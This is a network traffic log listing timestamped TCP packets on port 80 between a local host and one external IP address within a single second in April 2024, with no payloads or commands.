Apr 18, 2024 23:40:19.193012953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.193021059 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.193052053 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.193059921 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.193093061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.193114996 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.193140984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.312532902 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.312743902 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.312782049 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.312820911 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.312844992 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.312884092 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.312887907 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.312921047 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.312923908 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.312943935 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.312958956 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.312982082 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.313003063 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.313036919 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.313040018 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.313050985 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.313079119 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.383060932 CEST	80	49757	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.383126974 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.384206057 CEST	80	49771	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.384288073 CEST	49771	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.389727116 CEST	49771	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.438780069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.438819885 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.438867092 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.438905954 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.438905001 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.438905001 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.438965082 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.438966036 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439002991 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439047098 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439064026 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439085960 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439105988 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439124107 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439131021 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439162970 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439174891 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439203024 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439214945 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439254045 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439328909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439366102 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439383984 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439404011 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439424992 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439440966 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439462900 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439479113 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439506054 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439516068 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439526081 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439553976 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439565897 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439593077 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439603090 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439630985 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439644098 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439670086 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.439682007 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.439719915 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555392981 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555433035 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555463076 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555490017 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555620909 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555661917 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555671930 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555701017 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555708885 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555740118 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555744886 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555778980 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555788040 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555816889 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555823088 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555857897 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555860996 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555897951 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555901051 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555937052 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555942059 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.555974960 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.555982113 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556014061 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.556019068 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556052923 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.556056023 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556091070 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.556102037 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556138992 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556154966 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.556210041 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.556210995 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556247950 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.556257963 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556288004 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.556292057 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556329966 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.556332111 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.556372881 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.630213976 CEST	80	49771	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.630862951 CEST	80	49771	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.630918026 CEST	49771	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.652260065 CEST	49771	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.686187983 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.686228037 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.686264992 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.686302900 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.686310053 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.686392069 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.686392069 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.686709881 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.686784983 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.686878920 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.686932087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.686990023 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687026978 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687037945 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687067032 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687077999 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687110901 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687122107 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687128067 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687151909 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687165022 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687191010 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687191963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687191963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687231064 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687246084 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687288046 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687303066 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687325954 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687340021 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687364101 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687385082 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687402010 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687412977 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687439919 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687458038 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687478065 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687504053 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687515974 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687525034 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687553883 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687572956 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687596083 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687597990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687613964 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687629938 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687645912 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687669039 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687680960 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687706947 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687722921 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687745094 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687755108 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687783957 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687794924 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687834978 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687849045 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687864065 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687896013 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687903881 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687916994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687947989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687985897 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.687988997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.687988997 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.688023090 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.688029051 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.688061953 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.688086033 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.688127041 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.688127041 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.688142061 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.688174009 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.688182116 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.688191891 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.688221931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.688225985 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.688278913 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.797553062 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.797595024 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.797610998 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.797631979 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.797636032 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.797669888 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.797676086 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.797712088 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798365116 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798408031 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798414946 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798444986 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798449993 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798481941 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798510075 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798521996 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798531055 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798558950 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798568010 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798597097 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798602104 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798633099 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798635006 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798674107 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798680067 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798712015 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798712969 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798749924 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798754930 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798788071 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798790932 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798825979 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798825979 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798861980 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798863888 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798898935 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798899889 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798938036 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798942089 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.798976898 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.798979998 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799015045 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799025059 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799060106 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799072027 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799098015 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799102068 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799134970 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799139977 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799173117 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799192905 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799231052 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799237013 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799269915 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799273968 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799308062 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799313068 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799345016 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799351931 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799385071 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799386978 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799422026 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799422979 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799458981 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799459934 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799498081 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799501896 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799535990 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799540997 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799572945 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799572945 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799609900 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799613953 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799647093 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799650908 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799684048 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799689054 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799721956 CEST	80	49764	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.799727917 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.799761057 CEST	49764	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.893316984 CEST	80	49771	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.899358988 CEST	80	49771	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.899432898 CEST	49771	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932302952 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932365894 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932406902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932449102 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932493925 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932513952 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932518005 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932518005 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932518005 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932518005 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932528973 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932543993 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932564974 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932564974 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932578087 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932583094 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932588100 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932622910 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.932627916 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.932670116 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934149981 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934192896 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934250116 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934372902 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934386969 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934411049 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934437990 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934453011 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934456110 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934465885 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934480906 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934495926 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934504032 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934504032 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934511900 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934525967 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934545994 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934561014 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934575081 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934585094 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934607029 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934612989 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934643030 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934654951 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934673071 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934694052 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934711933 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934735060 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934772015 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934778929 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934803963 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934812069 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934824944 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934850931 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934887886 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934905052 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934926987 CEST	80	49768	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:19.934957981 CEST	49768	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:19.934978008 CEST	49768	80	192.168.2.4	193.233.132.167
